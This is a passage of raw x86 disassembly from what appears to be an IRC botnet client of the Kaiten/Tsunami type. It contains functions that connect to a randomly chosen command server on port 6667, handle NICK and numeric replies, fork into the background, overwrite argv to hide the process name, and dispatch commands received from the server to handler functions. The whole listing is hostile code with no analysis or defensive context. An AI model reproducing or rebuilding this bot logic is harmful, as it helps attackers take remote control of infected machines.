- 08049f71: mov -0x14(%ebp),%ebx
- 08049f74: mov 0x10(%ebp),%eax
- 08049f77: mov %eax,(%esp)
- 08049f7a: call 0x08048b84 <strlen@plt>
- 08049f7f: cmp %eax,%ebx
- 08049f81: je 0x0804a077 <_352+0x207>
- 08049f87: addl $0x1,-0x10(%ebp)
- 08049f8b: cmpl $0x2,-0x10(%ebp)
- 08049f8f: jle 0x08049f51 <_352+0xe1>
- 08049f91: movl $0x0,-0x14(%ebp)
- 08049f98: jmp 0x08049f9e <_352+0x12e>
- 08049f9a: addl $0x1,-0x14(%ebp)
- 08049f9e: mov -0x14(%ebp),%ebx
- 08049fa1: mov -0xc(%ebp),%eax
- 08049fa4: mov %eax,(%esp)
- 08049fa7: call 0x08048b84 <strlen@plt>
- 08049fac: cmp %eax,%ebx
- 08049fae: jae 0x08049fbd <_352+0x14d>
- 08049fb0: mov -0x14(%ebp),%eax
- 08049fb3: add -0xc(%ebp),%eax
- 08049fb6: movzbl (%eax),%eax
- 08049fb9: cmp $0x20,%al
- 08049fbb: jne 0x08049f9a <_352+0x12a>
- 08049fbd: mov -0x14(%ebp),%eax
- 08049fc0: add -0xc(%ebp),%eax
- 08049fc3: movb $0x0,(%eax)
- 08049fc6: mov -0xc(%ebp),%eax
- 08049fc9: mov %eax,(%esp)
- 08049fcc: call 0x08048a94 <__inet_addr@plt>
- 08049fd1: mov %eax,-0x18(%ebp)
- 08049fd4: mov -0x18(%ebp),%eax
- 08049fd7: cmp $0xffffffff,%eax
- 08049fda: jne 0x0804a02f <_352+0x1bf>
- 08049fdc: mov -0xc(%ebp),%eax
- 08049fdf: mov %eax,(%esp)
- 08049fe2: call 0x08048c14 <gethostbyname@plt>
- 08049fe7: mov %eax,-0x8(%ebp)
- 08049fea: cmpl $0x0,-0x8(%ebp)
- 08049fee: jne 0x0804a00c <_352+0x19c>
- 08049ff0: mov 0xc(%ebp),%eax
- 08049ff3: mov %eax,0x8(%esp)
- 08049ff7: movl $0x804af5c,0x4(%esp)
- 08049fff: mov 0x8(%ebp),%eax
- 0804a002: mov %eax,(%esp)
- 0804a005: call 0x08048fc0 <send_msg>
- 0804a00a: jmp 0x0804a077 <_352+0x207>
- 0804a00c: mov -0x8(%ebp),%eax
- 0804a00f: mov 0xc(%eax),%eax
- 0804a012: mov %eax,%edx
- 0804a014: mov -0x8(%ebp),%eax
- 0804a017: mov 0x10(%eax),%eax
- 0804a01a: mov (%eax),%eax
- 0804a01c: mov %edx,0x8(%esp)
- 0804a020: mov %eax,0x4(%esp)
- 0804a024: lea -0x18(%ebp),%eax
- 0804a027: mov %eax,(%esp)
- 0804a02a: call 0x08048c64 <memcpy@plt>
- 0804a02f: mov $0x804c324,%eax
- 0804a034: lea 0x3(%eax),%edx
- 0804a037: lea -0x18(%ebp),%eax
- 0804a03a: movzbl (%eax),%eax
- 0804a03d: mov %al,(%edx)
- 0804a03f: mov $0x804c324,%eax
- 0804a044: lea 0x2(%eax),%edx
- 0804a047: lea -0x18(%ebp),%eax
- 0804a04a: add $0x1,%eax
- 0804a04d: movzbl (%eax),%eax
- 0804a050: mov %al,(%edx)
- 0804a052: mov $0x804c324,%eax
- 0804a057: lea 0x1(%eax),%edx
- 0804a05a: lea -0x18(%ebp),%eax
- 0804a05d: add $0x2,%eax
- 0804a060: movzbl (%eax),%eax
- 0804a063: mov %al,(%edx)
- 0804a065: mov $0x804c324,%eax
- 0804a06a: movb $0x0,(%eax)
- 0804a06d: movl $0x100,0x804c328
- 0804a077: add $0x34,%esp
- 0804a07a: pop %ebx
- 0804a07b: pop %ebp
- 0804a07c: ret
- 0804a07d: lea 0x0(%esi),%esi
- # 0804a080 <_433>:
- 0804a080: push %ebp
- 0804a081: mov %esp,%ebp
- 0804a083: sub $0x8,%esp
- 0804a086: mov 0x804c764,%eax
- 0804a08b: mov %eax,(%esp)
- 0804a08e: call 0x08048d04 <free@plt>
- 0804a093: call 0x08049120 <makestring>
- 0804a098: mov %eax,0x804c764
- 0804a09d: leave
- 0804a09e: ret
- 0804a09f: nop
- # 0804a0a0 <_NICK>:
- 0804a0a0: push %ebp
- 0804a0a1: mov %esp,%ebp
- 0804a0a3: push %ebx
- 0804a0a4: sub $0x24,%esp
- 0804a0a7: movl $0x0,-0x8(%ebp)
- 0804a0ae: jmp 0x0804a0b4 <_NICK+0x14>
- 0804a0b0: addl $0x1,-0x8(%ebp)
- 0804a0b4: mov -0x8(%ebp),%ebx
- 0804a0b7: mov 0xc(%ebp),%eax
- 0804a0ba: mov %eax,(%esp)
- 0804a0bd: call 0x08048b84 <strlen@plt>
- 0804a0c2: cmp %eax,%ebx
- 0804a0c4: jae 0x0804a0d3 <_NICK+0x33>
- 0804a0c6: mov -0x8(%ebp),%eax
- 0804a0c9: add 0xc(%ebp),%eax
- 0804a0cc: movzbl (%eax),%eax
- 0804a0cf: cmp $0x21,%al
- 0804a0d1: jne 0x0804a0b0 <_NICK+0x10>
- 0804a0d3: mov -0x8(%ebp),%eax
- 0804a0d6: add 0xc(%ebp),%eax
- 0804a0d9: movb $0x0,(%eax)
- 0804a0dc: mov 0x804c764,%eax
- 0804a0e1: mov %eax,0x4(%esp)
- 0804a0e5: mov 0xc(%ebp),%eax
- 0804a0e8: mov %eax,(%esp)
- 0804a0eb: call 0x08048bf4 <strcasecmp@plt>
- 0804a0f0: test %eax,%eax
- 0804a0f2: jne 0x0804a128 <_NICK+0x88>
- 0804a0f4: mov 0x10(%ebp),%eax
- 0804a0f7: movzbl (%eax),%eax
- 0804a0fa: cmp $0x3a,%al
- 0804a0fc: jne 0x0804a102 <_NICK+0x62>
- 0804a0fe: addl $0x1,0x10(%ebp)
- 0804a102: mov 0x804c764,%eax
- 0804a107: test %eax,%eax
- 0804a109: je 0x0804a118 <_NICK+0x78>
- 0804a10b: mov 0x804c764,%eax
- 0804a110: mov %eax,(%esp)
- 0804a113: call 0x08048d04 <free@plt>
- 0804a118: mov 0x10(%ebp),%eax
- 0804a11b: mov %eax,(%esp)
- 0804a11e: call 0x08048b34 <strdup@plt>
- 0804a123: mov %eax,0x804c764
- 0804a128: add $0x24,%esp
- 0804a12b: pop %ebx
- 0804a12c: pop %ebp
- 0804a12d: ret
- 0804a12e: xchg %ax,%ax
- # 0804a130 <con>:
- 0804a130: push %ebp
- 0804a131: mov %esp,%ebp
- 0804a133: sub $0x38,%esp
- 0804a136: movl $0xffffffff,0x804c760
- 0804a140: movl $0x1,-0x20(%ebp)
- 0804a147: mov 0x804c320,%eax
- 0804a14c: test %eax,%eax
- 0804a14e: jne 0x0804a173 <con+0x43>
- 0804a150: call 0x08048b14 <rand@plt>
- 0804a155: mov %eax,%edx
- 0804a157: mov 0x804c260,%eax
- 0804a15c: mov %eax,%ecx
- 0804a15e: mov %edx,%eax
- 0804a160: sar $0x1f,%edx
- 0804a163: idiv %ecx
- 0804a165: mov %edx,%eax
- 0804a167: mov 0x804c264(,%eax,4),%eax
- 0804a16e: mov %eax,0x804c888
- 0804a173: movl $0x0,0x804c320
- 0804a17d: movl $0x6,0x8(%esp)
- 0804a185: movl $0x1,0x4(%esp)
- 0804a18d: movl $0x2,(%esp)
- 0804a194: call 0x08048ae4 <socket@plt>
- 0804a199: mov %eax,0x804c760
- 0804a19e: mov 0x804c760,%eax
- 0804a1a3: test %eax,%eax
- 0804a1a5: js 0x0804a17d <con+0x4d>
- 0804a1a7: mov 0x804c888,%eax
- 0804a1ac: mov %eax,(%esp)
- 0804a1af: call 0x08048a94 <__inet_addr@plt>
- 0804a1b4: test %eax,%eax
- 0804a1b6: je 0x0804a1ca <con+0x9a>
- 0804a1b8: mov 0x804c888,%eax
- 0804a1bd: mov %eax,(%esp)
- 0804a1c0: call 0x08048a94 <__inet_addr@plt>
- 0804a1c5: cmp $0xffffffff,%eax
- 0804a1c8: jne 0x0804a224 <con+0xf4>
- 0804a1ca: mov 0x804c888,%eax
- 0804a1cf: mov %eax,(%esp)
- 0804a1d2: call 0x08048c14 <gethostbyname@plt>
- 0804a1d7: mov %eax,-0x4(%ebp)
- 0804a1da: cmpl $0x0,-0x4(%ebp)
- 0804a1de: jne 0x0804a1fc <con+0xcc>
- 0804a1e0: movl $0x0,0x804c888
- 0804a1ea: mov 0x804c760,%eax
- 0804a1ef: mov %eax,(%esp)
- 0804a1f2: call 0x08048b54 <close@plt>
- 0804a1f7: jmp 0x0804a136 <con+0x6>
- 0804a1fc: mov -0x4(%ebp),%eax
- 0804a1ff: mov 0xc(%eax),%eax
- 0804a202: mov %eax,%edx
- 0804a204: mov -0x4(%ebp),%eax
- 0804a207: mov 0x10(%eax),%eax
- 0804a20a: mov (%eax),%ecx
- 0804a20c: mov %edx,0x8(%esp)
- 0804a210: lea -0x1c(%ebp),%eax
- 0804a213: add $0x4,%eax
- 0804a216: mov %eax,0x4(%esp)
- 0804a21a: mov %ecx,(%esp)
- 0804a21d: call 0x08048c44 <bcopy@plt>
- 0804a222: jmp 0x0804a234 <con+0x104>
- 0804a224: mov 0x804c888,%eax
- 0804a229: mov %eax,(%esp)
- 0804a22c: call 0x08048a94 <__inet_addr@plt>
- 0804a231: mov %eax,-0x18(%ebp)
- 0804a234: movb $0x2,-0x1b(%ebp)
- 0804a238: movw $0xb1a,-0x1a(%ebp)
- 0804a23e: mov 0x804c760,%eax
- 0804a243: lea -0x20(%ebp),%edx
- 0804a246: mov %edx,0x8(%esp)
- 0804a24a: movl $0x8004667e,0x4(%esp)
- 0804a252: mov %eax,(%esp)
- 0804a255: call 0x08048c04 <ioctl@plt>
- 0804a25a: movl $0x0,(%esp)
- 0804a261: call 0x08048be4 <time@plt>
- 0804a266: mov %eax,-0x8(%ebp)
- 0804a269: jmp 0x0804a357 <con+0x227>
- 0804a26e: call 0x08048c34 <__error@plt>
- 0804a273: movl $0x0,(%eax)
- 0804a279: lea -0x1c(%ebp),%eax
- 0804a27c: mov 0x804c760,%edx
- 0804a282: movl $0x10,0x8(%esp)
- 0804a28a: mov %eax,0x4(%esp)
- 0804a28e: mov %edx,(%esp)
- 0804a291: call 0x08048af4 <connect@plt>
- 0804a296: test %eax,%eax
- 0804a298: je 0x0804a2aa <con+0x17a>
- 0804a29a: call 0x08048c34 <__error@plt>
- 0804a29f: mov (%eax),%eax
- 0804a2a1: cmp $0x38,%eax
- 0804a2a4: jne 0x0804a333 <con+0x203>
- 0804a2aa: mov 0x804c760,%eax
- 0804a2af: movl $0x0,0x10(%esp)
- 0804a2b7: movl $0x0,0xc(%esp)
- 0804a2bf: movl $0x80,0x8(%esp)
- 0804a2c7: movl $0xffff,0x4(%esp)
- 0804a2cf: mov %eax,(%esp)
- 0804a2d2: call 0x08048b94 <setsockopt@plt>
- 0804a2d7: mov 0x804c760,%eax
- 0804a2dc: movl $0x0,0x10(%esp)
- 0804a2e4: movl $0x0,0xc(%esp)
- 0804a2ec: movl $0x4,0x8(%esp)
- 0804a2f4: movl $0xffff,0x4(%esp)
- 0804a2fc: mov %eax,(%esp)
- 0804a2ff: call 0x08048b94 <setsockopt@plt>
- 0804a304: mov 0x804c760,%eax
- 0804a309: movl $0x0,0x10(%esp)
- 0804a311: movl $0x0,0xc(%esp)
- 0804a319: movl $0x8,0x8(%esp)
- 0804a321: movl $0xffff,0x4(%esp)
- 0804a329: mov %eax,(%esp)
- 0804a32c: call 0x08048b94 <setsockopt@plt>
- 0804a331: jmp 0x0804a38b <con+0x25b>
- 0804a333: call 0x08048c34 <__error@plt>
- 0804a338: mov (%eax),%eax
- 0804a33a: cmp $0x24,%eax
- 0804a33d: je 0x0804a34b <con+0x21b>
- 0804a33f: call 0x08048c34 <__error@plt>
- 0804a344: mov (%eax),%eax
- 0804a346: cmp $0x25,%eax
- 0804a349: jne 0x0804a36f <con+0x23f>
- 0804a34b: movl $0x1,(%esp)
- 0804a352: call 0x08048c54 <sleep@plt>
- 0804a357: movl $0x0,(%esp)
- 0804a35e: call 0x08048be4 <time@plt>
- 0804a363: sub -0x8(%ebp),%eax
- 0804a366: cmp $0x9,%eax
- 0804a369: jbe 0x0804a26e <con+0x13e>
- 0804a36f: movl $0x0,0x804c888
- 0804a379: mov 0x804c760,%eax
- 0804a37e: mov %eax,(%esp)
- 0804a381: call 0x08048b54 <close@plt>
- 0804a386: jmp 0x0804a136 <con+0x6>
- 0804a38b: leave
- 0804a38c: ret
- 0804a38d: lea 0x0(%esi),%esi
- # 0804a390 <lockfile>:
- 0804a390: push %ebp
- 0804a391: mov %esp,%ebp
- 0804a393: sub $0x28,%esp
- 0804a396: movl $0x1b6,0x8(%esp)
- 0804a39e: movl $0x202,0x4(%esp)
- 0804a3a6: movl $0x804afd7,(%esp)
- 0804a3ad: call 0x08048a44 <open@plt>
- 0804a3b2: mov %eax,-0x8(%ebp)
- 0804a3b5: movl $0x6,0x4(%esp)
- 0804a3bd: mov -0x8(%ebp),%eax
- 0804a3c0: mov %eax,(%esp)
- 0804a3c3: call 0x08048cd4 <flock@plt>
- 0804a3c8: mov %eax,-0x4(%ebp)
- 0804a3cb: cmpl $0x0,-0x4(%ebp)
- 0804a3cf: je 0x0804a3f5 <lockfile+0x65>
- 0804a3d1: call 0x08048c34 <__error@plt>
- 0804a3d6: mov (%eax),%eax
- 0804a3d8: cmp $0x23,%eax
- 0804a3db: jne 0x0804a3f5 <lockfile+0x65>
- 0804a3dd: movl $0x804afe4,(%esp)
- 0804a3e4: call 0x08048aa4 <printf@plt>
- 0804a3e9: movl $0x0,(%esp)
- 0804a3f0: call 0x08048cb4 <exit@plt>
- 0804a3f5: leave
- 0804a3f6: ret
- 0804a3f7: mov %esi,%esi
- 0804a3f9: lea 0x0(%edi),%edi
- # 0804a400 <main>:
- 0804a400: lea 0x4(%esp),%ecx
- 0804a404: and $0xfffffff0,%esp
- 0804a407: pushl -0x4(%ecx)
- 0804a40a: push %ebp
- 0804a40b: mov %esp,%ebp
- 0804a40d: push %ebx
- 0804a40e: push %ecx
- 0804a40f: sub $0x19e0,%esp
- 0804a415: mov %ecx,-0x19cc(%ebp)
- 0804a41b: call 0x0804a390 <lockfile>
- 0804a420: call 0x08048a84 <fork@plt>
- 0804a425: test %eax,%eax
- 0804a427: je 0x0804a435 <main+0x35>
- 0804a429: movl $0x0,(%esp)
- 0804a430: call 0x08048cb4 <exit@plt>
- 0804a435: mov -0x19cc(%ebp),%edx
- 0804a43b: mov 0x4(%edx),%eax
- 0804a43e: mov (%eax),%eax
- 0804a440: mov %eax,(%esp)
- 0804a443: call 0x08048b84 <strlen@plt>
- 0804a448: mov %eax,%edx
- 0804a44a: mov -0x19cc(%ebp),%ecx
- 0804a450: mov 0x4(%ecx),%eax
- 0804a453: mov (%eax),%eax
- 0804a455: mov %edx,0x8(%esp)
- 0804a459: movl $0x804affd,0x4(%esp)
- 0804a461: mov %eax,(%esp)
- 0804a464: call 0x08048c24 <strncpy@plt>
- 0804a469: movl $0x1,-0x34(%ebp)
- 0804a470: jmp 0x0804a4b6 <main+0xb6>
- 0804a472: mov -0x34(%ebp),%eax
- 0804a475: shl $0x2,%eax
- 0804a478: mov -0x19cc(%ebp),%edx
- 0804a47e: add 0x4(%edx),%eax
- 0804a481: mov (%eax),%eax
- 0804a483: mov %eax,(%esp)
- 0804a486: call 0x08048b84 <strlen@plt>
- 0804a48b: mov %eax,%edx
- 0804a48d: mov -0x34(%ebp),%eax
- 0804a490: shl $0x2,%eax
- 0804a493: mov -0x19cc(%ebp),%ecx
- 0804a499: add 0x4(%ecx),%eax
- 0804a49c: mov (%eax),%eax
- 0804a49e: mov %edx,0x8(%esp)
- 0804a4a2: movl $0x0,0x4(%esp)
- 0804a4aa: mov %eax,(%esp)
- 0804a4ad: call 0x08048c94 <memset@plt>
- 0804a4b2: addl $0x1,-0x34(%ebp)
- 0804a4b6: mov -0x34(%ebp),%eax
- 0804a4b9: mov -0x19cc(%ebp),%edx
- 0804a4bf: cmp (%edx),%eax
- 0804a4c1: jl 0x0804a472 <main+0x72>
- 0804a4c3: movl $0x0,(%esp)
- 0804a4ca: call 0x08048be4 <time@plt>
- 0804a4cf: mov %eax,%ebx
- 0804a4d1: call 0x08048c84 <getpid@plt>
- 0804a4d6: xor %eax,%ebx
- 0804a4d8: call 0x08048a34 <getppid@plt>
- 0804a4dd: lea (%ebx,%eax,1),%eax
- 0804a4e0: mov %eax,(%esp)
- 0804a4e3: call 0x08048a74 <srand@plt>
- 0804a4e8: call 0x08049120 <makestring>
- 0804a4ed: mov %eax,0x804c764
- 0804a4f2: call 0x08049120 <makestring>
- 0804a4f7: mov %eax,0x804c76c
- 0804a4fc: movl $0x804b004,0x804c884
- 0804a506: movl $0x804b009,0x804c9a0
- 0804a510: movl $0x804b010,0x804c880
- 0804a51a: movl $0x0,0x804c888
- 0804a524: call 0x0804a130 <con>
- 0804a529: mov 0x804c884,%eax
- 0804a52e: mov 0x804c76c,%edx
- 0804a534: mov 0x804c764,%ecx
- 0804a53a: mov 0x804c760,%ebx
- 0804a540: mov %eax,0x10(%esp)
- 0804a544: mov %edx,0xc(%esp)
- 0804a548: mov %ecx,0x8(%esp)
- 0804a54c: movl $0x804b014,0x4(%esp)
- 0804a554: mov %ebx,(%esp)
- 0804a557: call 0x08048fc0 <send_msg>
- 0804a55c: lea -0x1bc(%ebp),%eax
- 0804a562: mov %eax,-0x20(%ebp)
- 0804a565: movl $0x20,-0x1c(%ebp)
- 0804a56c: jmp 0x0804a57f <main+0x17f>
- 0804a56e: subl $0x1,-0x1c(%ebp)
- 0804a572: mov -0x1c(%ebp),%edx
- 0804a575: mov -0x20(%ebp),%eax
- 0804a578: movl $0x0,(%eax,%edx,4)
- 0804a57f: cmpl $0x0,-0x1c(%ebp)
- 0804a583: jne 0x0804a56e <main+0x16e>
- 0804a585: mov 0x804c760,%eax
- 0804a58a: shr $0x5,%eax
- 0804a58d: mov %eax,%ebx
- 0804a58f: mov -0x1bc(%ebp,%eax,4),%edx
- 0804a596: mov 0x804c760,%eax
- 0804a59b: mov %eax,%ecx
- 0804a59d: and $0x1f,%ecx
- 0804a5a0: mov $0x1,%eax
- 0804a5a5: shl %cl,%eax
- 0804a5a7: or %edx,%eax
- 0804a5a9: mov %eax,-0x1bc(%ebp,%ebx,4)
- 0804a5b0: movl $0x4b0,-0x13c(%ebp)
- 0804a5ba: movl $0x0,-0x138(%ebp)
- 0804a5c4: mov 0x804c760,%eax
- 0804a5c9: lea 0x1(%eax),%edx
- 0804a5cc: lea -0x13c(%ebp),%eax
- 0804a5d2: mov %eax,0x10(%esp)
- 0804a5d6: movl $0x0,0xc(%esp)
- 0804a5de: movl $0x0,0x8(%esp)
- 0804a5e6: lea -0x1bc(%ebp),%eax
- 0804a5ec: mov %eax,0x4(%esp)
- 0804a5f0: mov %edx,(%esp)
- 0804a5f3: call 0x08048bb4 <select@plt>
- 0804a5f8: test %eax,%eax
- 0804a5fa: jle 0x0804a524 <main+0x124>
- 0804a600: movl $0x0,-0x24(%ebp)
- 0804a607: jmp 0x0804a705 <main+0x305>
- 0804a60c: mov -0x24(%ebp),%eax
- 0804a60f: shl $0x2,%eax
- 0804a612: mov %eax,%edx
- 0804a614: mov 0x804c768,%eax
- 0804a619: lea (%edx,%eax,1),%eax
- 0804a61c: mov (%eax),%eax
- 0804a61e: movl $0x1,0x8(%esp)
- 0804a626: movl $0x0,0x4(%esp)
- 0804a62e: mov %eax,(%esp)
- 0804a631: call 0x08048b64 <waitpid@plt>
- 0804a636: test %eax,%eax
- 0804a638: jle 0x0804a701 <main+0x301>
- 0804a63e: mov -0x24(%ebp),%eax
- 0804a641: add $0x1,%eax
- 0804a644: mov %eax,-0x14(%ebp)
- 0804a647: jmp 0x0804a672 <main+0x272>
- 0804a649: mov 0x804c768,%eax
- 0804a64e: lea -0x4(%eax),%edx
- 0804a651: mov -0x14(%ebp),%eax
- 0804a654: shl $0x2,%eax
- 0804a657: lea (%edx,%eax,1),%ecx
- 0804a65a: mov -0x14(%ebp),%eax
- 0804a65d: shl $0x2,%eax
- 0804a660: mov %eax,%edx
- 0804a662: mov 0x804c768,%eax
- 0804a667: lea (%edx,%eax,1),%eax
- 0804a66a: mov (%eax),%eax
- 0804a66c: mov %eax,(%ecx)
- 0804a66e: addl $0x1,-0x14(%ebp)
- 0804a672: mov 0x804c32c,%eax
- 0804a677: cmp %eax,-0x14(%ebp)
- 0804a67a: jb 0x0804a649 <main+0x249>
- 0804a67c: mov 0x804c768,%eax
- 0804a681: lea -0x4(%eax),%edx
- 0804a684: mov -0x14(%ebp),%eax
- 0804a687: shl $0x2,%eax
- 0804a68a: lea (%edx,%eax,1),%eax
- 0804a68d: movl $0x0,(%eax)
- 0804a693: mov 0x804c32c,%eax
- 0804a698: sub $0x1,%eax
- 0804a69b: mov %eax,0x804c32c
- 0804a6a0: mov 0x804c32c,%eax
- 0804a6a5: add $0x1,%eax
- 0804a6a8: shl $0x2,%eax
- 0804a6ab: mov %eax,(%esp)
- 0804a6ae: call 0x08048a24 <malloc@plt>
- 0804a6b3: mov %eax,-0x18(%ebp)
- 0804a6b6: movl $0x0,-0x14(%ebp)
- 0804a6bd: jmp 0x0804a6e2 <main+0x2e2>
- 0804a6bf: mov -0x14(%ebp),%eax
- 0804a6c2: shl $0x2,%eax
- 0804a6c5: mov %eax,%ecx
- 0804a6c7: add -0x18(%ebp),%ecx
- 0804a6ca: mov -0x14(%ebp),%eax
- 0804a6cd: shl $0x2,%eax
- 0804a6d0: mov %eax,%edx
- 0804a6d2: mov 0x804c768,%eax
- 0804a6d7: lea (%edx,%eax,1),%eax
- 0804a6da: mov (%eax),%eax
- 0804a6dc: mov %eax,(%ecx)
- 0804a6de: addl $0x1,-0x14(%ebp)
- 0804a6e2: mov 0x804c32c,%eax
- 0804a6e7: cmp %eax,-0x14(%ebp)
- 0804a6ea: jb 0x0804a6bf <main+0x2bf>
- 0804a6ec: mov 0x804c768,%eax
- 0804a6f1: mov %eax,(%esp)
- 0804a6f4: call 0x08048d04 <free@plt>
- 0804a6f9: mov -0x18(%ebp),%eax
- 0804a6fc: mov %eax,0x804c768
- 0804a701: addl $0x1,-0x24(%ebp)
- 0804a705: mov 0x804c32c,%eax
- 0804a70a: cmp %eax,-0x24(%ebp)
- 0804a70d: jb 0x0804a60c <main+0x20c>
- 0804a713: mov 0x804c760,%eax
- 0804a718: shr $0x5,%eax
- 0804a71b: mov -0x1bc(%ebp,%eax,4),%edx
- 0804a722: mov 0x804c760,%eax
- 0804a727: mov %eax,%ecx
- 0804a729: and $0x1f,%ecx
- 0804a72c: mov %edx,%eax
- 0804a72e: shr %cl,%eax
- 0804a730: and $0x1,%eax
- 0804a733: test %al,%al
- 0804a735: je 0x0804a55c <main+0x15c>
- 0804a73b: mov 0x804c760,%eax
- 0804a740: movl $0x0,0xc(%esp)
- 0804a748: movl $0x1000,0x8(%esp)
- 0804a750: lea -0x19bc(%ebp),%edx
- 0804a756: mov %edx,0x4(%esp)
- 0804a75a: mov %eax,(%esp)
- 0804a75d: call 0x08048bd4 <recv@plt>
- 0804a762: mov %eax,-0xc(%ebp)
- 0804a765: cmpl $0x0,-0xc(%ebp)
- 0804a769: jle 0x0804a524 <main+0x124>
- 0804a76f: mov -0xc(%ebp),%eax
- 0804a772: movb $0x0,-0x19bc(%ebp,%eax,1)
- 0804a77a: movl $0x804b03d,0x4(%esp)
- 0804a782: lea -0x19bc(%ebp),%eax
- 0804a788: mov %eax,(%esp)
- 0804a78b: call 0x08048ad4 <strtok@plt>
- 0804a790: mov %eax,-0x10(%ebp)
- 0804a793: jmp 0x0804a92a <main+0x52a>
- 0804a798: mov -0x10(%ebp),%eax
- 0804a79b: mov %eax,(%esp)
- 0804a79e: call 0x080490c0 <filter>
- 0804a7a3: mov -0x10(%ebp),%eax
- 0804a7a6: movzbl (%eax),%eax
- 0804a7a9: cmp $0x3a,%al
- 0804a7ab: jne 0x0804a814 <main+0x414>
- 0804a7ad: movl $0x0,-0xc(%ebp)
- 0804a7b4: jmp 0x0804a7ba <main+0x3ba>
- 0804a7b6: addl $0x1,-0xc(%ebp)
- 0804a7ba: mov -0xc(%ebp),%ebx
- 0804a7bd: mov -0x10(%ebp),%eax
- 0804a7c0: mov %eax,(%esp)
- 0804a7c3: call 0x08048b84 <strlen@plt>
- 0804a7c8: cmp %eax,%ebx
- 0804a7ca: jae 0x0804a7d9 <main+0x3d9>
- 0804a7cc: mov -0xc(%ebp),%eax
- 0804a7cf: add -0x10(%ebp),%eax
- 0804a7d2: movzbl (%eax),%eax
- 0804a7d5: cmp $0x20,%al
- 0804a7d7: jne 0x0804a7b6 <main+0x3b6>
- 0804a7d9: mov -0xc(%ebp),%eax
- 0804a7dc: add -0x10(%ebp),%eax
- 0804a7df: movb $0x0,(%eax)
- 0804a7e2: mov -0x10(%ebp),%eax
- 0804a7e5: add $0x1,%eax
- 0804a7e8: mov %eax,0x4(%esp)
- 0804a7ec: lea -0x9bc(%ebp),%eax
- 0804a7f2: mov %eax,(%esp)
- 0804a7f5: call 0x08048ca4 <strcpy@plt>
- 0804a7fa: mov -0xc(%ebp),%eax
- 0804a7fd: add -0x10(%ebp),%eax
- 0804a800: add $0x1,%eax
- 0804a803: mov %eax,0x4(%esp)
- 0804a807: mov -0x10(%ebp),%eax
- 0804a80a: mov %eax,(%esp)
- 0804a80d: call 0x08048ca4 <strcpy@plt>
- 0804a812: jmp 0x0804a832 <main+0x432>
- 0804a814: movl $0x2,0x8(%esp)
- 0804a81c: movl $0x804b03f,0x4(%esp)
- 0804a824: lea -0x9bc(%ebp),%eax
- 0804a82a: mov %eax,(%esp)
- 0804a82d: call 0x08048c64 <memcpy@plt>
- 0804a832: movl $0x0,-0xc(%ebp)
- 0804a839: jmp 0x0804a83f <main+0x43f>
- 0804a83b: addl $0x1,-0xc(%ebp)
- 0804a83f: mov -0xc(%ebp),%ebx
- 0804a842: mov -0x10(%ebp),%eax
- 0804a845: mov %eax,(%esp)
- 0804a848: call 0x08048b84 <strlen@plt>
- 0804a84d: cmp %eax,%ebx
- 0804a84f: jae 0x0804a85e <main+0x45e>
- 0804a851: mov -0xc(%ebp),%eax
- 0804a854: add -0x10(%ebp),%eax
- 0804a857: movzbl (%eax),%eax
- 0804a85a: cmp $0x20,%al
- 0804a85c: jne 0x0804a83b <main+0x43b>
- 0804a85e: mov -0xc(%ebp),%eax
- 0804a861: add -0x10(%ebp),%eax
- 0804a864: movb $0x0,(%eax)
- 0804a867: mov -0x10(%ebp),%eax
- 0804a86a: mov %eax,0x4(%esp)
- 0804a86e: lea -0x5bc(%ebp),%eax
- 0804a874: mov %eax,(%esp)
- 0804a877: call 0x08048ca4 <strcpy@plt>
- 0804a87c: mov -0xc(%ebp),%eax
- 0804a87f: add -0x10(%ebp),%eax
- 0804a882: add $0x1,%eax
- 0804a885: mov %eax,0x4(%esp)
- 0804a889: mov -0x10(%ebp),%eax
- 0804a88c: mov %eax,(%esp)
- 0804a88f: call 0x08048ca4 <strcpy@plt>
- 0804a894: movl $0x0,-0xc(%ebp)
- 0804a89b: jmp 0x0804a8e7 <main+0x4e7>
- 0804a89d: mov -0xc(%ebp),%eax
- 0804a8a0: mov 0x804c2c0(,%eax,8),%edx
- 0804a8a7: lea -0x5bc(%ebp),%eax
- 0804a8ad: mov %eax,0x4(%esp)
- 0804a8b1: mov %edx,(%esp)
- 0804a8b4: call 0x08048bf4 <strcasecmp@plt>
- 0804a8b9: test %eax,%eax
- 0804a8bb: jne 0x0804a8e3 <main+0x4e3>
- 0804a8bd: mov -0xc(%ebp),%eax
- 0804a8c0: mov 0x804c2c4(,%eax,8),%ecx
- 0804a8c7: mov 0x804c760,%edx
- 0804a8cd: mov -0x10(%ebp),%eax
- 0804a8d0: mov %eax,0x8(%esp)
- 0804a8d4: lea -0x9bc(%ebp),%eax
- 0804a8da: mov %eax,0x4(%esp)
- 0804a8de: mov %edx,(%esp)
- 0804a8e1: call *%ecx
- 0804a8e3: addl $0x1,-0xc(%ebp)
- 0804a8e7: mov -0xc(%ebp),%eax
- 0804a8ea: mov 0x804c2c0(,%eax,8),%eax
- 0804a8f1: test %eax,%eax
- 0804a8f3: jne 0x0804a89d <main+0x49d>
- 0804a8f5: movl $0x804b041,0x4(%esp)
- 0804a8fd: lea -0x5bc(%ebp),%eax
- 0804a903: mov %eax,(%esp)
- 0804a906: call 0x08048bf4 <strcasecmp@plt>
- 0804a90b: test %eax,%eax
- 0804a90d: je 0x0804a524 <main+0x124>
- 0804a913: movl $0x804b03d,0x4(%esp)
- 0804a91b: movl $0x0,(%esp)
- 0804a922: call 0x08048ad4 <strtok@plt>
- 0804a927: mov %eax,-0x10(%ebp)
- 0804a92a: cmpl $0x0,-0x10(%ebp)
- 0804a92e: je 0x0804a55c <main+0x15c>
- 0804a934: mov -0x10(%ebp),%eax
- 0804a937: movzbl (%eax),%eax
- 0804a93a: test %al,%al
- 0804a93c: jne 0x0804a798 <main+0x398>
- 0804a942: jmp 0x0804a55c <main+0x15c>
- 0804a947: nop
- 0804a948: nop
- 0804a949: nop
- 0804a94a: nop
- 0804a94b: nop
- 0804a94c: nop
- 0804a94d: nop
- 0804a94e: nop
- 0804a94f: nop
- # 0804a950 <__do_global_ctors_aux>:
- 0804a950: push %ebp
- 0804a951: mov %esp,%ebp
- 0804a953: push %ebx
- 0804a954: sub $0x4,%esp
- 0804a957: mov 0x804c094,%eax
- 0804a95c: cmp $0xffffffff,%eax
- 0804a95f: je 0x0804a973 <__do_global_ctors_aux+0x23>
- 0804a961: xor %ebx,%ebx
- 0804a963: call *%eax
- 0804a965: mov 0x804c090(%ebx),%eax
- 0804a96b: sub $0x4,%ebx
- 0804a96e: cmp $0xffffffff,%eax
